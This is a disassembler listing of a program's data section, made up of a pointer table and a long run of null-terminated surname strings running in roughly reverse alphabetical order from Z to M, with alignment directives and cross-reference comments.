dd offset aZerbini ; "Zerbini"
dd offset aZoldak ; "Zoldak"
dd offset aZucconi ; "Zucconi"
dd offset aZurn ; "Zurn"
dd offset aZwiers ; "Zwiers"
dd offset aZytowski ; "Zytowski"
aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042E838o
align 4
aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042E834o
align 10h
aZurn db 'Zurn',0 ; DATA XREF: ___:0042E830o
align 4
aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042E82Co
aZoldak db 'Zoldak',0 ; DATA XREF: ___:0042E828o
align 4
aZerbini db 'Zerbini',0 ; DATA XREF: ___:0042E824o
aZegans db 'Zegans',0 ; DATA XREF: ___:0042E820o
align 4
aZangwill db 'Zangwill',0 ; DATA XREF: ___:0042E81Co
align 4
aZahedi db 'Zahedi',0 ; DATA XREF: ___:0042E818o
align 4
aZachary db 'Zachary',0 ; DATA XREF: ___:0042E814o
aYu db 'Yu',0 ; DATA XREF: ___:0042E810o
align 4
aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042E80Co
align 4
aYoo db 'Yoo',0 ; DATA XREF: ___:0042E808o
aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042E804o
align 10h
aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042E800o
align 4
aYesson db 'Yesson',0 ; DATA XREF: ___:0042E7FCo
align 10h
aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042E7F8o
aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042E7F4o
align 10h
aYates db 'Yates',0 ; DATA XREF: ___:0042E7F0o
align 4
aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042E7ECo
aYankee db 'Yankee',0 ; DATA XREF: ___:0042E7E8o
align 4
aYamane db 'Yamane',0 ; DATA XREF: ___:0042E7E4o
align 10h
aYacono db 'Yacono',0 ; DATA XREF: ___:0042E7E0o
align 4
aVotey db 'Votey',0 ; DATA XREF: ___:0042E7DCo
align 10h
aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042E7D8o
aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042E7D4o
align 4
aWoods db 'Woods',0 ; DATA XREF: ___:0042E7D0o
align 10h
aWooden db 'Wooden',0 ; DATA XREF: ___:0042E7CCo
align 4
aWoo db 'Woo',0 ; DATA XREF: ___:0042E7C8o
aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042E7C4o
align 4
aWolk db 'Wolk',0 ; DATA XREF: ___:0042E7C0o
align 10h
aVoigt db 'Voigt',0 ; DATA XREF: ___:0042E7BCo
align 4
aViviani db 'Viviani',0 ; DATA XREF: ___:0042E7B8o
aVitali db 'Vitali',0 ; DATA XREF: ___:0042E7B4o
align 4
aWilson db 'Wilson',0 ; DATA XREF: ___:0042E7B0o
align 10h
aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042E7ACo
aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042E7A8o
align 4
aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042E7A4o
align 4
aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042E7A0o
align 4
aWilk db 'Wilk',0 ; DATA XREF: ___:0042E79Co
align 4
aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042E798o
aWilder db 'Wilder',0 ; DATA XREF: ___:0042E794o
align 4
aVignola db 'Vignola',0 ; DATA XREF: ___:0042E790o
aViens db 'Viens',0 ; DATA XREF: ___:0042E78Co
align 4
aWiener db 'Wiener',0 ; DATA XREF: ___:0042E788o
align 4
aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042E784o
aViano db 'Viano',0 ; DATA XREF: ___:0042E780o
align 10h
aViana db 'Viana',0 ; DATA XREF: ___:0042E77Co
align 4
aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042E778o
align 4
aWhitla db 'Whitla',0 ; DATA XREF: ___:0042E774o
align 4
aWhite db 'White',0 ; DATA XREF: ___:0042E770o
align 4
aWhilton db 'Whilton',0 ; DATA XREF: ___:0042E76Co
aWhately db 'Whately',0 ; DATA XREF: ___:0042E768o
aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042E764o
align 4
aWescott db 'Wescott',0 ; DATA XREF: ___:0042E760o
aVerghese db 'Verghese',0 ; DATA XREF: ___:0042E75Co
align 10h
aVenne db 'Venne',0 ; DATA XREF: ___:0042E758o
align 4
aWengret db 'Wengret',0 ; DATA XREF: ___:0042E754o
aWelsh db 'Welsh',0 ; DATA XREF: ___:0042E750o
align 4
aWelles db 'Welles',0 ; DATA XREF: ___:0042E74Co
align 10h
aVelasquez db 'Velasquez',0 ; DATA XREF: ___:0042E748o
align 4
aWeissman db 'Weissman',0
align 4
aWeissbourd db 'Weissbourd',0
align 4
aWeinhaus db 'Weinhaus',0
align 10h
aWeingarten db 'Weingarten',0
align 4
aWeighart db 'Weighart',0
align 4
aWaugh db 'Waugh',0
align 10h
aVasquez db 'Vasquez',0
aWasowska db 'Wasowska',0
align 4
aWarshafsky db 'Warshafsky',0
align 10h
aVanheeckeren db 'Vanheeckeren',0
align 10h
aVandenberg db 'Vandenberg',0
align 4
aVanzwet db 'VanZwet',0
aVanallen db 'vanAllen',0
align 10h
aWalter db 'Walter',0 ; DATA XREF: ___:0042E710o
align 4
aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042E70Co
align 4
aWales db 'Wales',0
align 4
aValencia db 'Valencia',0
align 4
aValberg db 'Valberg',0
aWaite db 'Waite',0
align 4
aVacca db 'Vacca',0
align 10h
aUzuner db 'Uzuner',0
align 4
aUsdan db 'Usdan',0
align 10h
aUrdangBrown db 'Urdang-Brown',0
align 10h
aUrban db 'Urban',0
align 4
aUpsdell db 'Upsdell',0 ; DATA XREF: ___:0042E6E4o
aUntermeyer db 'Untermeyer',0
align 4
aUllman db 'Ullman',0 ; DATA XREF: ___:0042E6DCo
align 4
aTzamarias db 'Tzamarias',0
align 10h
aTwells db 'Twells',0 ; DATA XREF: ___:0042E6D4o
align 4
aTuttle db 'Tuttle',0
align 10h
aTurek db 'Turek',0
align 4
aTurano db 'Turano',0
align 10h
aTukan db 'Tukan',0 ; DATA XREF: ___:0042E6C4o
align 4
aTudge db 'Tudge',0
align 10h
aTuck db 'Tuck',0
align 4
aTsukurov db 'Tsukurov',0
align 4
aTsomides db 'Tsomides',0
align 10h
aTsiatis db 'Tsiatis',0
aTruss db 'Truss',0
align 10h
aTroy db 'Troy',0
align 4
aTroiani db 'Troiani',0
aTringali db 'Tringali',0 ; DATA XREF: ___:0042E6A0o
align 4
aTrewin db 'Trewin',0 ; DATA XREF: ___:0042E69Co
align 4
aTrenga db 'Trenga',0 ; DATA XREF: ___:0042E698o
align 4
aTraebert db 'Traebert',0
align 4
aToye db 'Toye',0
align 10h
aTowler db 'Towler',0 ; DATA XREF: ___:0042E68Co
align 4
aTorske db 'Torske',0 ; DATA XREF: ___:0042E688o
align 10h
aTorresi db 'Torresi',0 ; DATA XREF: ___:0042E684o
aTopulos db 'Topulos',0 ; DATA XREF: ___:0042E680o
aToomer db 'Toomer',0 ; DATA XREF: ___:0042E67Co
align 4
aTomford db 'Tomford',0 ; DATA XREF: ___:0042E678o
aTolman db 'Tolman',0 ; DATA XREF: ___:0042E674o
align 4
aTolls db 'Tolls',0 ; DATA XREF: ___:0042E670o
align 10h
aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042E66Co
align 4
aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042E668o
align 4
aTimmons db 'Timmons',0 ; DATA XREF: ___:0042E664o
aTill db 'Till',0 ; DATA XREF: ___:0042E660o
align 4
aTierney db 'Tierney',0 ; DATA XREF: ___:0042E65Co
aThroop db 'Throop',0 ; DATA XREF: ___:0042E658o
align 4
aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042E654o
aThisted db 'Thisted',0 ; DATA XREF: ___:0042E650o
aThibault db 'Thibault',0 ; DATA XREF: ___:0042E64Co
align 4
aTheodos db 'Theodos',0 ; DATA XREF: ___:0042E648o
aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042E644o
align 4
aThan db 'Than',0 ; DATA XREF: ___:0042E640o
align 4
aTerracini db 'Terracini',0 ; DATA XREF: ___:0042E63Co
align 10h
aTenney db 'Tenney',0 ; DATA XREF: ___:0042E638o
align 4
aTemmer db 'Temmer',0 ; DATA XREF: ___:0042E634o
align 10h
aTemes db 'Temes',0 ; DATA XREF: ___:0042E630o
align 4
aTeague db 'Teague',0 ; DATA XREF: ___:0042E62Co
align 10h
aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042E628o
align 4
aTawn db 'Tawn',0 ; DATA XREF: ___:0042E624o
align 4
aTaveras db 'Taveras',0 ; DATA XREF: ___:0042E620o
aTatar db 'Tatar',0 ; DATA XREF: ___:0042E61Co
align 4
aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042E618o
align 10h
aTandler db 'Tandler',0 ; DATA XREF: ___:0042E614o
aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042E610o
aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042E60Co
align 4
aTai db 'Tai',0 ; DATA XREF: ___:0042E608o
aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042E604o
aSwindle db 'Swindle',0 ; DATA XREF: ___:0042E600o
aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042E5FCo
align 4
aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042E5F8o
align 4
aSurdam db 'Surdam',0 ; DATA XREF: ___:0042E5F4o
align 10h
aSuo db 'Suo',0 ; DATA XREF: ___:0042E5F0o
aSumner db 'Sumner',0 ; DATA XREF: ___:0042E5ECo
align 4
aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042E5E8o
align 4
aStringer db 'Stringer',0 ; DATA XREF: ___:0042E5E4o
align 4
aStreiff db 'Streiff',0 ; DATA XREF: ___:0042E5E0o
aStrauch db 'Strauch',0 ; DATA XREF: ___:0042E5DCo
aStrange db 'Strange',0 ; DATA XREF: ___:0042E5D8o
aStott db 'Stott',0 ; DATA XREF: ___:0042E5D4o
align 4
aStorer db 'Storer',0 ; DATA XREF: ___:0042E5D0o
align 4
aStonich db 'Stonich',0 ; DATA XREF: ___:0042E5CCo
aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042E5C8o
aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042E5C4o
align 4
aStockton db 'Stockton',0 ; DATA XREF: ___:0042E5C0o
align 4
aStock db 'Stock',0 ; DATA XREF: ___:0042E5BCo
align 10h
aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042E5B8o
align 4
aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042E5B4o
align 4
aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042E5B0o
align 4
aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042E5ACo
aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042E5A8o
align 10h
aSteiner db 'Steiner',0 ; DATA XREF: ___:0042E5A4o
aStefani db 'Stefani',0 ; DATA XREF: ___:0042E5A0o
aStatlender db 'Statlender',0 ; DATA XREF: ___:0042E59Co
align 4
aStates db 'States',0 ; DATA XREF: ___:0042E598o
align 4
aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042E594o
align 4
aStang db 'Stang',0 ; DATA XREF: ___:0042E590o
align 4
aStam db 'Stam',0 ; DATA XREF: ___:0042E58Co
align 4
aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042E588o
aStmartin db 'StMartin',0 ; DATA XREF: ___:0042E584o
align 4
aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042E580o
aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042E57Co
align 4
aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042E578o
align 4
aSpicer db 'Spicer',0 ; DATA XREF: ___:0042E574o
align 4
aSperber db 'Sperber',0 ; DATA XREF: ___:0042E570o
aSpence db 'Spence',0 ; DATA XREF: ___:0042E56Co
align 4
aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042E568o
aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042E564o
align 4
aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042E560o
aSpanier db 'Spanier',0 ; DATA XREF: ___:0042E55Co
aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042E558o
align 4
aSoule db 'Soule',0 ; DATA XREF: ___:0042E554o
align 4
aSoukup db 'Soukup',0 ; DATA XREF: ___:0042E550o
align 4
aSottak db 'Sottak',0 ; DATA XREF: ___:0042E54Co
align 4
aSorg db 'Sorg',0 ; DATA XREF: ___:0042E548o
align 4
aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042E544o
align 10h
aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042E540o
align 4
aSomers db 'Somers',0 ; DATA XREF: ___:0042E53Co
align 4
aSolon db 'Solon',0 ; DATA XREF: ___:0042E538o
align 4
aSocolow db 'Socolow',0 ; DATA XREF: ___:0042E534o
aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042E530o
align 10h
aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042E52Co
aSmilow db 'Smilow',0 ; DATA XREF: ___:0042E528o
align 10h
aSlowe db 'Slowe',0 ; DATA XREF: ___:0042E524o
align 4
aSloan db 'Sloan',0 ; DATA XREF: ___:0042E520o
align 10h
aSkoda db 'Skoda',0 ; DATA XREF: ___:0042E51Co
align 4
aSkerry db 'Skerry',0 ; DATA XREF: ___:0042E518o
align 10h
aSkane db 'Skane',0 ; DATA XREF: ___:0042E514o
align 4
aSites db 'Sites',0 ; DATA XREF: ___:0042E510o
align 10h
aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042E50Co
aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042E508o
align 4
aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042E504o
align 10h
aSilverman db 'Silverman',0 ; DATA XREF: ___:0042E500o
align 4
aSigna db 'Signa',0 ; DATA XREF: ___:0042E4FCo
align 4
aSigini db 'Sigini',0 ; DATA XREF: ___:0042E4F8o
align 4
aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042E4F4o
aSiesto db 'Siesto',0 ; DATA XREF: ___:0042E4F0o
align 4
aShimon db 'Shimon',0 ; DATA XREF: ___:0042E4ECo
align 4
aShibata db 'Shibata',0 ; DATA XREF: ___:0042E4E8o
aShia db 'Shia',0 ; DATA XREF: ___:0042E4E4o
align 4
aShesko db 'Shesko',0 ; DATA XREF: ___:0042E4E0o
align 4
aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042E4DCo
align 4
aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042E4D8o
align 4
aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042E4D4o
align 10h
aSheats db 'Sheats',0 ; DATA XREF: ___:0042E4D0o
align 4
aShea db 'Shea',0 ; DATA XREF: ___:0042E4CCo
align 10h
aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042E4C8o
align 4
aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042E4C4o
aShar db 'Shar',0 ; DATA XREF: ___:0042E4C0o
align 4
aShanley db 'Shanley',0 ; DATA XREF: ___:0042E4BCo
aShankland db 'Shankland',0 ; DATA XREF: ___:0042E4B8o
align 10h
aShakis db 'Shakis',0 ; DATA XREF: ___:0042E4B4o
align 4
aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042E4B0o
align 10h
aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042E4ACo
aSexton db 'Sexton',0 ; DATA XREF: ___:0042E4A8o
align 10h
aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042E4A4o
align 4
aSennett db 'Sennett',0 ; DATA XREF: ___:0042E4A0o
aSen db 'Sen',0 ; DATA XREF: ___:0042E49Co
aSelvage db 'Selvage',0 ; DATA XREF: ___:0042E498o
aSekler db 'Sekler',0 ; DATA XREF: ___:0042E494o
align 4
aSegal db 'Segal',0 ; DATA XREF: ___:0042E490o
align 10h
aSeeber db 'Seeber',0 ; DATA XREF: ___:0042E48Co
align 4
aSeaton db 'Seaton',0 ; DATA XREF: ___:0042E488o
align 10h
aScudder db 'Scudder',0 ; DATA XREF: ___:0042E484o
aScovel db 'Scovel',0 ; DATA XREF: ___:0042E480o
align 10h
aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042E47Co
aSchwan db 'Schwan',0 ; DATA XREF: ___:0042E478o
align 4
aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042E474o
align 10h
aSchutte db 'Schutte',0 ; DATA XREF: ___:0042E470o
aSchuman db 'Schuman',0 ; DATA XREF: ___:0042E46Co
aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042E468o
align 10h
aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042E464o
aSchilling db 'Schilling',0 ; DATA XREF: ___:0042E460o
align 4
aSchifini db 'Schifini',0 ; DATA XREF: ___:0042E45Co
align 10h
aSchiano db 'Schiano',0 ; DATA XREF: ___:0042E458o
aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042E454o
align 4
aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042E450o
aScharf db 'Scharf',0 ; DATA XREF: ___:0042E44Co
align 4
aScepan db 'Scepan',0 ; DATA XREF: ___:0042E448o
align 10h
aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042E444o
align 4
aSayied db 'Sayied',0 ; DATA XREF: ___:0042E440o
align 4
aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042E43Co
aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042E438o
align 4
aSatta db 'Satta',0 ; DATA XREF: ___:0042E434o
align 4
aSatin db 'Satin',0 ; DATA XREF: ___:0042E430o
align 4
aSase db 'Sase',0 ; DATA XREF: ___:0042E42Co
align 4
aSartore db 'Sartore',0 ; DATA XREF: ___:0042E428o
aSarin db 'Sarin',0 ; DATA XREF: ___:0042E424o
align 4
aSapers db 'Sapers',0 ; DATA XREF: ___:0042E420o
align 4
aSanna db 'Sanna',0 ; DATA XREF: ___:0042E41Co
align 4
aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042E418o
aSamson db 'Samson',0 ; DATA XREF: ___:0042E414o
align 4
aSali db 'Sali',0 ; DATA XREF: ___:0042E410o
align 4
aSahu db 'Sahu',0 ; DATA XREF: ___:0042E40Co
align 4
aSafire db 'Safire',0 ; DATA XREF: ___:0042E408o
align 4
aSadler db 'Sadler',0 ; DATA XREF: ___:0042E404o
align 4
aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042E400o
align 4
aRyu db 'Ryu',0 ; DATA XREF: ___:0042E3FCo
aRush db 'Rush',0 ; DATA XREF: ___:0042E3F8o
align 4
aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042E3F4o
align 10h
aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042E3F0o
align 4
aRuan db 'Ruan',0 ; DATA XREF: ___:0042E3ECo
align 4
aRu db 'Ru',0 ; DATA XREF: ___:0042E3E8o
align 4
aRoyal db 'Royal',0 ; DATA XREF: ___:0042E3E4o
align 10h
aRow db 'Row',0 ; DATA XREF: ___:0042E3E0o
aRonen db 'Ronen',0 ; DATA XREF: ___:0042E3DCo
align 4
aRogers db 'Rogers',0 ; DATA XREF: ___:0042E3D8o
align 4
aRoesler db 'Roesler',0 ; DATA XREF: ___:0042E3D4o
aRocha db 'Rocha',0 ; DATA XREF: ___:0042E3D0o
align 4
aRobinson db 'Robinson',0 ; DATA XREF: ___:0042E3CCo
align 10h
aRivera db 'Rivera',0 ; DATA XREF: ___:0042E3C8o
align 4
aRish db 'Rish',0 ; DATA XREF: ___:0042E3C4o
align 10h
aRineer db 'Rineer',0 ; DATA XREF: ___:0042E3C0o
align 4
aRindos db 'Rindos',0 ; DATA XREF: ___:0042E3BCo
align 10h
aRielly db 'Rielly',0 ; DATA XREF: ___:0042E3B8o
align 4
aRichmond db 'Richmond',0 ; DATA XREF: ___:0042E3B4o
align 4
aRhea db 'Rhea',0 ; DATA XREF: ___:0042E3B0o
align 4
aResnik db 'Resnik',0 ; DATA XREF: ___:0042E3ACo
align 4
aRepetto db 'Repetto',0 ; DATA XREF: ___:0042E3A8o
aRenick db 'Renick',0 ; DATA XREF: ___:0042E3A4o
align 4
aRemak db 'Remak',0 ; DATA XREF: ___:0042E3A0o
align 4
aReinold db 'Reinold',0 ; DATA XREF: ___:0042E39Co
aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042E398o
align 10h
aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042E394o
align 4
aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042E390o
align 4
aRayport db 'Rayport',0 ; DATA XREF: ___:0042E38Co
aRapple db 'Rapple',0 ; DATA XREF: ___:0042E388o
align 4
aRankin db 'Rankin',0 ; DATA XREF: ___:0042E384o
align 4
aRangan db 'Rangan',0 ; DATA XREF: ___:0042E380o
align 4
aRaney db 'Raney',0 ; DATA XREF: ___:0042E37Co
align 4
aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042E378o
aRadeke db 'Radeke',0 ; DATA XREF: ___:0042E374o
align 4
aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042E370o
align 10h
aRabe db 'Rabe',0 ; DATA XREF: ___:0042E36Co
align 4
aQuetin db 'Quetin',0 ; DATA XREF: ___:0042E368o
align 10h
aQuaday db 'Quaday',0 ; DATA XREF: ___:0042E364o
align 4
aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042E360o
aPugh db 'Pugh',0 ; DATA XREF: ___:0042E35Co
align 4
aPuccia db 'Puccia',0 ; DATA XREF: ___:0042E358o
align 10h
aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042E354o
align 10h
aProietti db 'Proietti',0 ; DATA XREF: ___:0042E350o
align 4
aPritz db 'Pritz',0 ; DATA XREF: ___:0042E34Co
align 4
aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042E348o
align 10h
aPrevost db 'Prevost',0 ; DATA XREF: ___:0042E344o
aPreucel db 'Preucel',0 ; DATA XREF: ___:0042E340o
aPresper db 'Presper',0 ; DATA XREF: ___:0042E33Co
aPowers db 'Powers',0 ; DATA XREF: ___:0042E338o
align 10h
aPoolman db 'Poolman',0 ; DATA XREF: ___:0042E334o
aPoma db 'Poma',0 ; DATA XREF: ___:0042E330o
align 10h
aPolitis db 'Politis',0 ; DATA XREF: ___:0042E32Co
aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042E328o
aPolak db 'Polak',0 ; DATA XREF: ___:0042E324o
align 4
aPoirier db 'Poirier',0 ; DATA XREF: ___:0042E320o
aPointer db 'Pointer',0 ; DATA XREF: ___:0042E31Co
aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042E318o
align 4
aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042E314o
align 10h
aPo db 'Po',0 ; DATA XREF: ___:0042E310o
align 4
aPlous db 'Plous',0 ; DATA XREF: ___:0042E30Co
align 4
aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E308o
aPlant db 'Plant',0 ; DATA XREF: ___:0042E304o
align 4
aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E300o
aPinot db 'Pinot',0 ; DATA XREF: ___:0042E2FCo
align 4
aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E2F8o
aPfister db 'Pfister',0 ; DATA XREF: ___:0042E2F4o
aPettit db 'Pettit',0 ; DATA XREF: ___:0042E2F0o
align 4
aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E2ECo
align 10h
aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E2E8o
align 4
aPeters db 'Peters',0 ; DATA XREF: ___:0042E2E4o
align 4
aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E2E0o
align 10h
aPerone db 'Perone',0 ; DATA XREF: ___:0042E2DCo
align 4
aPerna db 'Perna',0 ; DATA XREF: ___:0042E2D8o
align 10h
aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E2D4o
aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E2D0o
align 10h
aPerko db 'Perko',0 ; DATA XREF: ___:0042E2CCo
align 4
aPereira db 'Pereira',0 ; DATA XREF: ___:0042E2C8o
aPenny db 'Penny',0 ; DATA XREF: ___:0042E2C4o
align 4
aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E2C0o
aPederson db 'Pederson',0 ; DATA XREF: ___:0042E2BCo
align 4
aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E2B8o
align 4
aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E2B4o
aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E2B0o
aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E2ACo
align 4
aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E2A8o
align 4
aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E2A4o
aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E2A0o
align 10h
aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E29Co
aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E298o
align 4
aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E294o
align 10h
aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E290o
align 4
aParris db 'Parris',0 ; DATA XREF: ___:0042E28Co
align 4
aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E288o
aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E284o
align 4
aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E280o
align 4
aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E27Co
align 4
aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E278o
align 10h
aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E274o
align 4
aPallara db 'Pallara',0 ; DATA XREF: ___:0042E270o
aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E26Co
align 4
aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E268o
align 4
aPaine db 'Paine',0 ; DATA XREF: ___:0042E264o
align 10h
aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E260o
align 10h
aOvid db 'Ovid',0 ; DATA XREF: ___:0042E25Co
align 4
aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E258o
aOtten db 'Otten',0 ; DATA XREF: ___:0042E254o
align 4
aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E250o
align 4
aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E24Co
align 10h
aOspina db 'Ospina',0 ; DATA XREF: ___:0042E248o
align 4
aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E244o
align 10h
aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E240o
aOray db 'Oray',0 ; DATA XREF: ___:0042E23Co
align 10h
aOpel db 'Opel',0 ; DATA XREF: ___:0042E238o
align 4
aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E234o
aOman db 'Oman',0 ; DATA XREF: ___:0042E230o
align 4
aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E22Co
align 4
aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E228o
align 10h
aOlson db 'Olson',0 ; DATA XREF: ___:0042E224o
align 4
aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E220o
align 10h
aOldford db 'Oldford',0 ; DATA XREF: ___:0042E21Co
aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E218o
aOh db 'Oh',0 ; DATA XREF: ___:0042E214o
align 4
aOgata db 'Ogata',0 ; DATA XREF: ___:0042E210o
align 4
aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E20Co
aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E208o
align 4
aNotman db 'Notman',0 ; DATA XREF: ___:0042E204o
align 4
aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E200o
align 10h
aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E1FCo
align 4
aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E1F8o
align 4
aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E1F4o
align 4
aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E1F0o
align 4
aNg db 'Ng',0 ; DATA XREF: ___:0042E1ECo
align 4
aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E1E8o
align 4
aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E1E4o
aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E1E0o
align 4
aNesci db 'Nesci',0 ; DATA XREF: ___:0042E1DCo
align 4
aNenna db 'Nenna',0 ; DATA XREF: ___:0042E1D8o
align 4
aNelson db 'Nelson',0 ; DATA XREF: ___:0042E1D4o
align 4
aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E1D0o
aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E1CCo
aNardone db 'Nardone',0 ; DATA XREF: ___:0042E1C8o
aNardi db 'Nardi',0 ; DATA XREF: ___:0042E1C4o
align 4
aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E1C0o
align 4
aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E1BCo
align 10h
aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E1B8o
align 4
aMumford db 'Mumford',0 ; DATA XREF: ___:0042E1B4o
aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E1B0o
align 4
